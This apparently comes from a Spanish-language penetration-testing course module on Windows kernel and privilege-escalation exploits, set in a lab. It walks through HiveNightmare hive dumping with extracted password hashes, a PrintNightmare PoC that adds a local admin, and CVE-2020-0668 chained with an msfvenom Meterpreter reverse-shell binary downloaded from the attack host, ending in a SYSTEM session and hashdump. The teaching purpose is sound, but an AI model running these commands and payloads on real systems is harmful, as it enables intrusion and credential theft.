Saltar a contenido

Kernel Exploits

Es un gran desafío asegurar que todos los escritorios de los usuarios y servidores estén actualizados, y el cumplimiento del 100% para todas las computadoras con parches de seguridad probablemente no sea un objetivo alcanzable. Suponiendo que una computadora ha sido seleccionada para la instalación de actualizaciones, por ejemplo, usando SCCM (Microsoft System Center Configuration Manager) o WSUS (Windows Server Update Services), hay muchas razones por las que podrían fallar en la instalación. A lo largo de los años, ha habido muchos kernel exploits que afectan al sistema operativo Windows desde Windows 2000/XP hasta Windows 10/Server 2016/2019. A continuación, se presenta una tabla detallada de los remote code execution/local privilege escalation exploits conocidos para sistemas operativos Windows, desglosados por nivel de service pack, desde Windows XP hasta Server 2016.

Base OS XP XP XP XP 2003 2003 2003 Vista Vista Vista 2008 2008 7 7 2008R2 2008R2 8 8.1 2012 2012R2 10 2016
Service Pack SP0 SP1 SP2 SP3 SP0 SP1 SP2 SP0 SP1 SP2 SP0 SP2 SP0 SP1 SP0 SP1 SP0 SP1
MS03-026
MS05-039
MS08-025
MS08-067
MS08-068
MS09-012
MS09-050
MS10-015
MS10-059
MS10-092
MS11-011
MS11-046
MS11-062
MS11-080
MS13-005
MS13-053
MS13-081
MS14-002
MS14-040
MS14-058
MS14-062
MS14-068
MS14-070
MS15-001
MS15-010
MS15-051
MS15-061
MS15-076
MS15-078
MS15-097
MS16-016
MS16-032
MS16-135
MS17-010
CVE-2017-0213: COM Aggregate Marshaler
Hot Potato
SmashedPotato

Note:

Esta tabla no está 100% completa y no abarca más allá de 2017. Hasta la fecha, existen más vulnerabilidades conocidas para las versiones más recientes del sistema operativo e incluso Server 2019.

Este sitio es útil para buscar información detallada sobre las vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene 4,733 vulnerabilidades de seguridad ingresadas al momento de escribir, mostrando la gran superficie de ataque que presenta un entorno Windows.

Como podemos ver en esta tabla, hay muchos exploits que funcionan para Windows XP hasta Server 2012R2. A medida que llegamos a Windows 10 y Server 2016, hay menos exploits conocidos. Esto se debe en parte a los cambios en el sistema operativo a lo largo del tiempo, incluidas las mejoras de seguridad y la depreciación de versiones anteriores de protocolos como SMB. Una cosa importante a notar de esta tabla es que cuando se descubren nuevas vulnerabilidades o se lanzan exploits (como MS17-010), estos suelen afectar versiones anteriores del sistema operativo. Por eso es vital mantenerse al día con los parches o actualizar, retirar o segregar los sistemas Windows que han llegado al final de su vida útil. Exploraremos esto en mayor profundidad más adelante en este módulo.

Es importante notar que, aunque algunos de los ejemplos anteriores son vulnerabilidades de remote code execution, también podemos usarlos fácilmente para escalar privilegios. Un ejemplo es si obtenemos acceso a un sistema y notamos que un puerto como el 445 (servicio SMB) no es accesible desde el exterior, podemos escalar privilegios si es vulnerable a algo como EternalBlue (MS17-010). En este caso, podríamos reenviar el puerto en cuestión para que sea accesible desde nuestro host de ataque o ejecutar el exploit en cuestión localmente para escalar privilegios.


Notable Vulnerabilities

A lo largo de los años, ha habido muchas vulnerabilidades de Windows de alto impacto que pueden ser aprovechadas para escalar privilegios, algunas son vectores puramente de escalamiento de privilegios locales y otras son fallos de remote code execution (RCE) que pueden ser utilizados para escalar privilegios al reenviar un puerto local. Un ejemplo de lo último sería aterrizar en una caja que no permite el acceso al puerto 445 desde el exterior, realizar el reenvío de puertos para acceder a este puerto desde nuestra caja de ataque y aprovechar una falla de remote code execution contra el servicio SMB para escalar privilegios. A continuación, se presentan algunas vulnerabilidades de Windows de extremadamente alto impacto a lo largo de los años que pueden ser aprovechadas para escalar privilegios.

MS08-067 - Esta fue una vulnerabilidad de remote code execution en el servicio "Server" debido al manejo inadecuado de solicitudes RPC. Esto afectó a Windows Server 2000, 2003, y 2008 y Windows XP y Vista y permite a un atacante no autenticado ejecutar código arbitrario con privilegios de SYSTEM. Aunque típicamente se encuentra en entornos de clientes como una vulnerabilidad de remote code execution, podemos aterrizar en un host donde el servicio SMB esté bloqueado a través del firewall. Podemos usar esto para escalar privilegios después de reenviar el puerto 445 de regreso a nuestra caja de ataque. Aunque esta es una vulnerabilidad "legacy", todavía la veo aparecer de vez en cuando en grandes organizaciones, especialmente en aquellas de la industria médica que pueden estar ejecutando aplicaciones específicas que solo funcionan en versiones anteriores de Windows Server/Desktop. No debemos descartar las vulnerabilidades antiguas incluso en 2021. Nos encontraremos con cada escenario bajo el sol mientras realizamos evaluaciones de clientes y debemos estar preparados para contar con todas las posibilidades. La caja Legacy en la plataforma Hack The Box muestra esta vulnerabilidad desde el punto de vista de la remote code execution. Hay versiones independientes así como una versión de Metasploit de este exploit.

MS17-010 - También conocido como EternalBlue es una vulnerabilidad de remote code execution que fue parte del kit de herramientas FuzzBunch lanzado en la filtración de Shadow Brokers. Este exploit aprovecha una vulnerabilidad en el protocolo SMB porque el protocolo SMBv1 maneja mal los paquetes especialmente diseñados por un atacante, lo que lleva a la ejecución de código arbitrario en el host de destino como la cuenta SYSTEM. Al igual que MS08-067, esta vulnerabilidad también puede ser aprovechada como un vector de escalamiento de privilegios locales si aterrizamos en un host donde el puerto 445 esté bloqueado por un firewall. Hay varias versiones de este exploit para el Metasploit Framework así como scripts de exploit independientes. Este ataque se mostró en la caja Blue en Hack The Box, nuevamente desde el punto de vista remoto.

ALPC Task Scheduler 0-Day - El método de punto final ALPC utilizado por el servicio Windows Task Scheduler podría ser utilizado para escribir DACLs arbitrarios en archivos .job ubicados en el directorio C:\Windows\tasks. Un atacante podría aprovechar esto para crear un enlace duro a un archivo que controle el atacante. El exploit para esta falla utilizó la función API SchRpcSetSecurity para llamar a un trabajo de impresión utilizando la impresora XPS y secuestrar la DLL como NT AUTHORITY\SYSTEM a través del servicio de Spooler. Hay una escritura en profundidad disponible aquí. La caja Hack The Box Hackback puede ser utilizada para probar este exploit de escalamiento de privilegios.

El verano de 2021 reveló un tesoro de nuevas fallas de remote code execution y escalamiento de privilegios locales relacionadas con Windows y Active Directory para el deleite de los penetration testers (y atacantes del mundo real), y estoy seguro de los gemidos de nuestros colegas trabajadores en el lado de la defensa.

CVE-2021-36934 HiveNightmare, aka SeriousSam es una falla en Windows 10 que resulta en que cualquier usuario tenga derechos para leer el Windows registry y acceder a información sensible independ

ientemente del nivel de privilegios. Los investigadores desarrollaron rápidamente un exploit de PoC para permitir la lectura de las colmenas del registro SAM, SYSTEM, y SECURITY y crear copias de ellas para procesarlas fuera de línea más tarde y extraer password hashes (incluyendo el local admin) utilizando una herramienta como SecretsDump.py. Más información sobre esta falla se puede encontrar aquí y este exploit binary puede ser utilizado para crear copias de los tres archivos en nuestro directorio de trabajo. Este script puede ser utilizado para detectar la falla y también corregir el problema de ACL. Vamos a echar un vistazo.

Checking Permissions on the SAM File

Podemos verificar esta vulnerabilidad utilizando icacls para verificar los permisos en el archivo SAM. En nuestro caso, tenemos una versión vulnerable ya que el archivo es legible por el grupo BUILTIN\Users.

C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

La explotación exitosa también requiere la presencia de una o más copias de sombra. La mayoría de los sistemas Windows 10 tendrán System Protection habilitado por defecto, lo que creará copias de seguridad periódicas, incluyendo la copia de sombra necesaria para aprovechar esta falla.

Performing Attack and Parsing Password Hashes

Este PoC puede ser utilizado para realizar el ataque, creando copias de las colmenas del registro mencionadas anteriormente:

PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe

HiveNightmare v0.6 - dump registry hives as non-admin users

Specify maximum number of shadows to inspect with parameter if wanted, default is 15.

Running...

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

Success: SECURITY hive from 2021-08-07 written out to current working directory as SECURITY-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM

Success: SYSTEM hive from 2021-08-07 written out to current working directory as SYSTEM-2021-08-07


Assuming no errors above, you should be able to find hive dump files in current working directory.

Estas copias luego pueden ser transferidas de vuelta al host de ataque, donde se utiliza impacket-secretsdump para extraer los hashes:

impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xebb2121de07ed08fc7dc58aa773b23d6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3c7b7e66890fb2181a74bb56ab12195f248e9461
dpapi_userkey:0xc3e6491e75d7cffe8efd40df94d83cba51832a56
[*] NL$KM 
 0000   45 C5 B2 32 29 8B 05 B8  E7 E7 E0 4B 2C 14 83 02   E..2)......K,...
 0010   CE 2F E7 D9 B8 E0 F0 F8  20 C8 E4 70 DD D1 7F 4F   ./...... ..p...O
 0020   42 2C E6 9E AF 57 74 01  09 88 B3 78 17 3F 88 54   B,...Wt....x.?.T
 0030   52 8F 8D 9C 06 36 C0 24  43 B9 D8 0F 35 88 B9 60   R....6.$C...5..`
NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960

CVE-2021-1675/CVE-2021-34527 PrintNightmare es una falla en RpcAddPrinterDriver que se utiliza para permitir la impresión remota y la instalación de controladores. Esta función está destinada a dar a los usuarios con el privilegio Windows SeLoadDriverPrivilege la capacidad de agregar controladores a un Print Spooler remoto. Este derecho está típicamente reservado para los usuarios en el grupo de Administrators integrado y Print Operators que pueden tener una necesidad legítima de instalar un controlador de impresora en la máquina de un usuario final de forma remota. La falla permitió que cualquier usuario autenticado agregara un controlador de impresora a un sistema Windows sin tener el privilegio mencionado anteriormente, lo que permite a un atacante ejecutar código remoto completo como SYSTEM en cualquier sistema afectado. La falla afecta a todas las versiones soportadas de Windows, y dado que el Print Spooler se ejecuta por defecto en Domain Controllers, Windows 7 y 10, y a menudo está habilitado en servidores Windows, esto presenta una superficie de ataque masiva, de ahí "nightmare". Microsoft inicialmente lanzó un parche que no solucionó el problema (y la guía inicial era deshabilitar el servicio Spooler, lo cual no es práctico para muchas organizaciones) pero lanzó un segundo patch en julio de 2021 junto con la guía para verificar que ciertas configuraciones del registro estén establecidas en 0 o no definidas. Una vez que esta vulnerabilidad se hizo pública, se lanzaron rápidamente PoC exploitsEsta versión de @cube0x0 puede ser utilizada para ejecutar una DLL maliciosa de forma remota o local utilizando una versión modificada de Impacket. El repositorio también contiene una implementación en C#. Esta implementación en PowerShell puede ser utilizada para una rápida escalación de privilegios locales. Por defecto, este script agrega un nuevo usuario administrador local, pero también podemos proporcionar una DLL personalizada para obtener un reverse shell o similar si agregar un usuario administrador local no está dentro del alcance.

Checking for Spooler Service

Podemos verificar rápidamente si el servicio Spooler está en ejecución con el siguiente comando. Si no está en ejecución, recibiremos un error de "path does not exist".

PS C:\htb> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Adding Local Admin with PrintNightmare PowerShell PoC

Primero comienza bypassing la política de ejecución en el host de destino:

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Ahora podemos importar el script de PowerShell y usarlo para agregar un nuevo usuario administrador local.

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirming New Admin User

Si todo salió según lo planeado, tendremos un nuevo usuario administrador local bajo nuestro control. Agregar un usuario es "ruidoso", No querríamos hacer esto en una evaluación donde la discreción sea una consideración. Además, querríamos verificar con nuestro cliente para asegurarnos de que la creación de cuentas esté dentro del alcance de la evaluación.

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.

Este es un pequeño muestreo de algunas de las vulnerabilidades de mayor impacto. Si bien es imperativo para nosotros entender y ser capaces de enumerar y explotar estas vulnerabilidades, también es importante poder detectar y aprovechar fallas menos conocidas.


Enumerating Missing Patches

El primer paso es observar las actualizaciones instaladas e intentar encontrar actualizaciones que puedan haber sido omitidas, abriendo así un camino de ataque para nosotros.

Examining Installed Updates

Podemos examinar las actualizaciones instaladas de varias maneras. A continuación, se muestran tres comandos separados que podemos usar.

PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix

Viewing Installed Updates with WMI

C:\htb> wmic qfe list brief

Description      FixComments  HotFixID   InstallDate  InstalledBy          InstalledOn  Name  ServicePackInEffect  Status
Update                        KB4601056               NT AUTHORITY\SYSTEM  3/27/2021                                    
Update                        KB4513661                                    1/9/2020                                     
Security Update               KB4516115                                    1/9/2020                                     
Update                        KB4517245                                    1/9/2020                                     
Security Update               KB4528759                                    1/9/2020                                     
Security Update               KB4535680               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB4580325               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000908               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000808               NT AUTHORITY\SYSTEM  3/27/2021                                    

Podemos buscar cada KB (Microsoft Knowledge Base ID number) en el Microsoft Update Catalog para tener una mejor idea de qué correcciones se han instalado y cuánto atraso puede tener el sistema en actualizaciones de seguridad. Una búsqueda de KB5000808 nos muestra que esta es una actualización de marzo de 2021, lo que significa que el sistema probablemente esté muy atrasado en actualizaciones de seguridad.


CVE-2020-0668 Example

A continuación, vamos a explotar Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability, que explota una vulnerabilidad de movimiento de archivos arbitrarios aprovechando el Windows Service Tracing. Service Tracing permite a los usuarios solucionar problemas con servicios y módulos en ejecución generando información de depuración. Sus parámetros son configurables utilizando el registro de Windows. Establecer un valor MaxFileSize personalizado que sea más pequeño que el tamaño del archivo solicita que el archivo sea renombrado con una extensión .OLD cuando se activa el servicio. Esta operación de movimiento es realizada por NT AUTHORITY\SYSTEM, y puede ser abusada para mover un archivo de nuestra elección con la ayuda de puntos de montaje y enlaces simbólicos.

Checking Current User Privileges

Vamos a verificar los privilegios del usuario actual.

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

After Building Solution

Podemos usar este exploit para CVE-2020-0668, descargarlo y abrirlo en Visual Studio dentro de una VM. La construcción de la solución debería crear los siguientes archivos.

CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml

En este punto, podemos utilizar el exploit para crear un archivo de nuestra elección en una carpeta protegida como C:\Windows\System32. No podemos sobrescribir ningún archivo protegido de Windows. Esta escritura de archivo privilegiada necesita ser encadenada con otra vulnerabilidad, como UsoDllLoader o DiagHub para cargar la DLL y escalar nuestros privilegios. Sin embargo, la técnica de UsoDllLoader puede no funcionar si las actualizaciones de Windows están pendientes o actualmente se están instalando, y el servicio DiagHub puede no estar disponible.

También podemos buscar cualquier software de terceros, que pueda ser aprovechado, como el Mozilla Maintenance Service. Este servicio se ejecuta en el contexto de SYSTEM y puede ser iniciado por usuarios no privilegiados. El binario

(no protegido por el sistema) de este servicio se encuentra a continuación.

  • C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Checking Permissions on Binary

icacls confirma que solo tenemos permisos de lectura y ejecución en este binario basado en la línea BUILTIN\Users:(I)(RX) en la salida del comando.

C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Generating Malicious Binary

Vamos a generar un binario maintenanceservice.exe malicioso que puede ser utilizado para obtener una conexión de Meterpreter reverse shell desde nuestro objetivo.

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 645 bytes
Final size of exe file: 7168 bytes

Hosting the Malicious Binary

Podemos descargarlo al objetivo utilizando cURL después de iniciar un servidor HTTP Python en nuestro host de ataque como en la sección de User Account Control anteriormente. También podemos usar wget desde el objetivo.

$ python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.43.13 - - [01/Mar/2022 18:17:26] "GET /maintenanceservice.exe HTTP/1.1" 200 -
10.129.43.13 - - [01/Mar/2022 18:17:45] "GET /maintenanceservice.exe HTTP/1.1" 200 -

Downloading the Malicious Binary

Para este paso necesitamos hacer dos copias del archivo .exe malicioso. Podemos simplemente pasarlo dos veces o hacerlo una vez y hacer una segunda copia.

Necesitamos hacer esto porque ejecutar el exploit corrompe la versión maliciosa de maintenanceservice.exe que se mueve a (nuestra copia en c:\Users\htb-student\Desktop que estamos apuntando) c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe que necesitaremos tener en cuenta más tarde. Si intentamos utilizar la versión copiada, recibiremos un system error 216 porque el archivo .exe ya no es un binario válido.

PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe

Running the Exploit

A continuación, ejecutemos el exploit. Acepta dos argumentos, los archivos de origen y destino.

C:\htb> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"                                       

[+] Moving C:\Users\htb-student\Desktop\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

[+] Mounting \RPC Control onto C:\Users\htb-student\AppData\Local\Temp\nzrghuxz.leo
[+] Creating symbol links
[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.
[+] Sleeping for 5 seconds so the changes take effect
[+] Writing phonebook file to C:\Users\htb-student\AppData\Local\Temp\179739c5-5060-4088-a3e7-57c7e83a0828.pbk
[+] Cleaning up
[+] Done!

Checking Permissions of New File

El exploit se ejecuta y ejecutar icacls nuevamente muestra la siguiente entrada para nuestro usuario: WINLPE-WS02\htb-student:(F). Esto significa que nuestro usuario htb-student tiene control total sobre el binario maintenanceservice.exe, y podemos sobrescribirlo con una versión no corrupta de nuestro binario malicioso.

C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          WINLPE-WS02\htb-student:(F)

Replacing File with Malicious Binary

Podemos sobrescribir el binario maintenanceservice.exe en c:\Program Files (x86)\Mozilla Maintenance Service con una buena copia de trabajo de nuestro binario malicioso creado anteriormente antes de proceder a iniciar el servicio. En este ejemplo, descargamos dos copias del binario malicioso en C:\Users\htb-student\Desktop, maintenanceservice.exe y maintenanceservice2.exe. Vamos a mover la buena copia que no fue corrompida por el exploit maintenanceservice2.exe al directorio de Program Files, asegurándonos de renombrar el archivo correctamente y eliminar el 2 o el servicio no se iniciará. El comando copy solo funcionará desde una ventana de cmd.exe, no desde una consola de PowerShell.

C:\htb> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

        1 file(s) copied.

Metasploit Resource Script

A continuación, guarda los comandos a continuación en un archivo Resource Script nombrado handler.rc.

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit

Launching Metasploit with Resource Script

Lanza Metasploit usando el archivo Resource Script para precargar nuestras configuraciones.

sudo msfconsole -r handler.rc 


         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1123 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the resource command to run commands from a file

[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 10.10.14.3
LHOST => 10.10.14.3
resource (handler.rc)> set LPORT 8443
LPORT => 8443
resource (handler.rc)> exploit
[*] Started HTTPS reverse handler on https://10.10.14.3:8443

Starting the Service

Inicia el servicio, y deberíamos obtener una sesión como NT AUTHORITY\SYSTEM.

C:\htb> net start MozillaMaintenance 

The service is not responding to the control function

More help is available by typing NET HELPMSG 2186

Receiving a Meterpreter Session

Recibiremos un error al intentar iniciar el servicio, pero aún recibiremos una llamada de vuelta una vez que el binario de Meterpreter se ejecute.

[*] Started HTTPS reverse handler on https://10.10.14.3:8443
[*] https://10.10.14.3:8443 handling request from 10.129.43.13; (UUID: syyuxztc) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (10.10.14.3:8443 -> 10.129.43.13:52047) at 2021-05-14 13:38:55 -0400


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM


meterpreter > sysinfo

Computer        : WINLPE-WS02
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 6
Meterpreter     : x64/windows


meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::